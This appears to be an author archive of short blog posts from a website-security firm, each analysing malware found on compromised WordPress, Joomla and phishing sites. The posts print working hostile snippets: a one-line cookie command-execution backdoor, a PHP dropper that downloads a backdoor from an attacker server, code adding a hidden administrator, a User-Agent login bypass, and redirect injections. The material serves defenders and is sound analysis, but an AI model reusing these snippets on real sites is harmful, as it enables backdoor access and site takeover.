Author: Yuliyan Tsvetkov

Protecting Phishing Pages via .htaccess

Phishers usually want to protect their pages from being detected by search engines and security companies. To achieve that, they add .htaccess files that deny access to their phishing directories from known IP addresses and networks. Depending on the scenario, if they are targeting a specific type of service (online banking for instance) attackers may allow only a set of visitors from a specific country to see that phishing page.


Though  attacker’s skillset may vary, some will just try to customize third-party scripts they find online and it’s not uncommon when they do it poorly. For example, one phishing campaign uses a bot blocking .htaccess file that can be easily found on the Internet. It really protects sites from unwanted bots, but has very little to do with search engines, security companies, and geographic regions (although it blocks some of them) - it just saves bandwidth.

deny from 216.163.255.1 # rpa.metlife.com bored employees
deny from 67.127.164.125 # DSL bandwidth waster
deny from 193.253.199. # france SE art-online.com bandwidth waster
deny from 80.179.254. # clown from Israel using downloader
deny from 64.37.103. # spambots and other non customers
deny from 69.61.12.100 # spambot from servershost.net

Along with the .htaccess file, there may be other files within the phishing structure, such as:  

  • Image directories (img/images) - These directories may contain logo, header/footer images & others related to phishing (Paypal, Banks, etc.).
Jul 11, 2017 by Yuliyan Tsvetkov

The elegant dropper – reusable code for PHP...

During our malware research role, we analyze hundreds (if not thousands) of malware samples every day. Quite often, highly-obfuscated techniques are used by attackers to avoid detection and maintain access to the compromised environment for as long as possible.


One of these techniques is called dropper, which consists of using “good code” (undetectable by scanners), to download and execute another piece of malicious code from an external resource. In this article, we’ll describe how attackers used not only that but also implemented different evasion techniques along the way.

The code begins with a few assignments:

...$shpath = $_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php";$shf = FFGet("hxxp://[INFECTED.DOMAIN]/wp-booter.txt");...file_put_contents($shpath, $shf);

The first variable ($shpath) receives the path where the backdoor will be placed and the second one ($shf) downloads and stores the content of the wp-booter.txt file from a remote server (controlled by the attacker). After that, the backdoor assigned to $shf is written into $shpath through file_put_contents().

Please note the function FFGet() which basically mimics the file_get_contents() and curl_init() as a fail-safe to download the backdoor. Here is a small snippet:

    if(strlen($file_contents)<1&&function_exists('curl_init')){       try       {            $file_contents ="";            $ch = curl_init();            $timeout = 30;            curl_setopt($ch,CURLOPT_URL,$url);            curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);            curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);            curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);            $file_contents = curl_exec( $ch);            curl_close( $ch );

In addition to that, if the content of $file_contents is either unavailable or nonexistent, the dropper will elegantly display a standard “HTTP 503 Apache Error”.

if($file_contents=="503"||$file_contents==""){  ob_start();  header('HTTP/1.1 503 Service Temporarily Unavailable');  header('Status:  503 Service Temporarily Unavailable');  header('Retry-After:1200');  header('X-Powered-By:Apache');  exit();}

If everything works as planned for the attacker, the file $shpath ($_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php"; will contain the backdoor located inside the file wp-booter.txt.

This technique (malware dropper) is often used because although the file wp-admin/admin-menu.php could be easily detected and removed, attackers would still be able to reinsert the backdoor by executing the dropper.

To detect these issues, we highly recommend having a File Integrity Monitoring System in place and clean backups of your files and database. If a compromise happens, you’d be more equipped to restore the website and prevent any damages to your online presence and SEO.

May 31, 2017 by Yuliyan Tsvetkov

Attackers Silently add new user with Administrator role...

Attackers tend to get smarter in order to avoid detection, as well as gain access to your WordPress site. They use legit functions of the WordPress core to create users, post spammy content, and other kinds of malicious activities.


Most of the cases where legit functions are used, attackers avoid combining that with obfuscation techniques to reduce the chances of being detected by antivirus solutions and regular scanners.

One case that we recently researched was just like that. The attacker placed a PHP script inside the root directory of the WordPress installation and included the wp-load.php file that gave him access to the core functions.

$wp_load_loc = "wp-load.php";require_once($wp_load_loc);

After loading the file, it is easy to create a WordPress user and set the role to administrator via the core functions.

$user_id = wp_create_user('username987', 'password987');$user = new WP_User($user_id);$user->set_role('administrator');

Having the administrator role allows attackers unlimited possibilities to harm your site and business. They can lock you out from the backend, and if you aren’t logging in very often, nor performing any security checks, these bogus ‘Administrator’ users could go undetected for a long time.

If you’ve noticed any suspicious activity, or your website recently got blacklisted, this could be an indication that something may be wrong. We highly recommend contacting a professional to  investigate the issues for you.

Mar 16, 2017 by Yuliyan Tsvetkov

Set your Cookie, Execute a Command

Backdoors evolve. They tend to get more complex, harder to understand and harder to decode, but this is not always the case.


Most of the backdoors rely on PHP-enabled engine options that allow execution of commands. Also, those options depend on some of the core functionalities of most of the CMS systems out there.

The case today was different. The backdoor was so tiny that by overlooking some of the file names on your website you can easily miss it.

<?php if (isset($_COOKIE["i5o8vz"])) @$_COOKIE["cmd"]($_COOKIE["i5o8vz"]);

It is a really simple, yet powerful backdoor. The attacker who placed it on your website sets his cookie so he can execute the command in the payload of the cookie, and as we know, setting a cookie is a piece of a cake. Also, $_COOKIE or $_POST variables are used as a “cloaking method” once they are not logged by default on access_logs, like $_GET, making it harder to detect anomalies when inspecting logs.

If you notice some suspicious activity on your website, or it is sending SPAM on its own, or even if you have been blacklisted by the major search engines, you can rely on us to clean and protect your website.

Mar 9, 2017 by Yuliyan Tsvetkov

Monetized JavaScript Redirect to Free Porn Webcams for...

Attackers will do desperate and obvious things to boost the views of their 'customers'.

On a daily basis we find different malicious redirects (some are very well hidden, others not so much).

The case with this JavaScript redirect is not so different than the other malicious redirects out there, except for one thing - it is constructed from multiple redirects via multiple servers in order for the attacker to gather statistics and monetize the ‘clicks’ from the scripts.


<script type="text/javascript">if (screen.width <= 480) {window.location = "hxxp://portal-b[.]pw/XcTyTp";}</script>

This is a simple JavaScript injection that redirects you to 'Free porn web cams' if your device screen width size is equal or less than 480px. Most of the mobile phones out there will be affected.

The interesting part of this malicious redirect is that during each different execution, it redirects you to another website where another malicious script is hosted, and then you are redirected to the monetization platform which redirects you to a random porn website.

hxxp://infectedsite[.]dom/wp-content/js/js.html (compromised website used as jump point to the below URL)

The content of the js.html is this:

<meta http-equiv="refresh" content="0;URL=hxxp://portal-b[.]pw/X9DC2z"/>

After the next redirect, the shortened URL sends you to a malicious click monetization website:

<html>           <head>               <meta http-equiv="REFRESH" content="1; URL='hxxp://click-cpa[.]net/out?zoneId=1466739-1466890'">               <script type="text/javascript">window.location = "hxxp://click-cpa[.]net/out?zoneId=1466739-1466890";</script>           </head>           </html>

And voila! You are redirected to a random porn website from their list and generating some cents for the attacker.

If your website has been infected and need some help cleaning it up, please let us know.

Mar 2, 2017 by Yuliyan Tsvetkov

Hiding malicious code from the user using white...

Over the years, attackers have used different techniques for hiding malicious files on websites. They obfuscated code, changed legit functions to execute malware, modified whole core files to execute their malicious activity and much more.


In this article, we’ll describe a simple way of hiding malware from non-experienced webmasters that are using text editors which do not wrap long lines of code. Instead of injecting complex and obfuscated code, attackers simply added white spaces in the beginning of the file. The snippet in question follows (please notice the scroll bar at the bottom):

At first glance, the file looked pretty normal. Upon further inspection, we noticed that there was a code shifted within 598 whitespace characters on the first row containing the following content:

<p

$x8 = "x63x68x72"; $E7 = "x69x6ex74x76x61x6c"; $Qb = $x8($E7("x31x30x31")).$x8($E7($x8($E7("x3….

In this particular case, the attacker hid a heavily-encoded PHP backdoor into the file. There are different attacks using this very same technique, such as, SEO Spam Injections, Credential & Credit Card Stealers, and others.

If you suspect any malware activity on your website and at first glance you cannot find anything suspicious, we recommend checking for modified files. If you are not comfortable to modify files and the database yourself,  you can rely on the Security Engineers at https://sucuri.net to clean and protect your website.

Feb 14, 2017 by Yuliyan Tsvetkov

Joomla admin login bypass – set your UA...

Every day we analyse hundreds of new malicious files. Some of them are simple backdoors, injected iframes, or one liner defacements.

Another type of malware, equally interesting, are the ones that interact with authentication interfaces. These malicious codes may allow attackers to log-in with a particular set of bogus credentials or completely circumvent security measures implemented to prevent unauthorized access to the back-end.


In this note, I will describe how an attacker cleverly hijacked core functions of the Joomla CMS to connect to the database of the website, select user with specific privileges and bypass the authentication mechanism based on an User Agent.

As we mentioned above, the condition for the bypass to happen is if they use a specific User Agent when performing the request: 

$ref = $_SERVER['HTTP_USER_AGENT'];$keywordsRegex = "/AtOPvMzpDosdPDlkm3ZmPzxoP/i";if (preg_match($keywordsRegex, $ref)) {

The file can remain under the radar as it has no base64 encoding or any other obfuscation inside. It uses standard core functions, normal SQL query and no fuzzy strings.

The bypass itself is pretty straight forward - it calls the "JPluginHelper::importPlugin('user');" core function and scans the database for the "Super Administrator" user role in the "usertype" column of the "users" table. It also takes into account the Joomla version due to some changes in the authentication mechanism:

if (version_compare(JVERSION, '1.6.0', 'ge')) {       $result = $mainframe->triggerEvent('onUserLogin', array(array('username' => $result->username), array('action' => 'core.login.admin')));   } else {       $result = $mainframe->triggerEvent('onLoginUser', array(array('username' => $result->username), array()));   }

If the above SQL query returns valid results, it prints that the operation was successful and the attacker have successfully logged in to the compromised Joomla website:

Print 'Joomla Login Successful.';

The match string is used by several Web shells on the Internet. Its even used for so called WordPress root kit so it is good idea to scan your files for the UA match string and remove any files that have it inside, or if you are unsure what to do you can trust the Security engineers at https://sucuri.net/ for checking, clearing and protecting your website from malicious code.

Feb 1, 2017 by Yuliyan Tsvetkov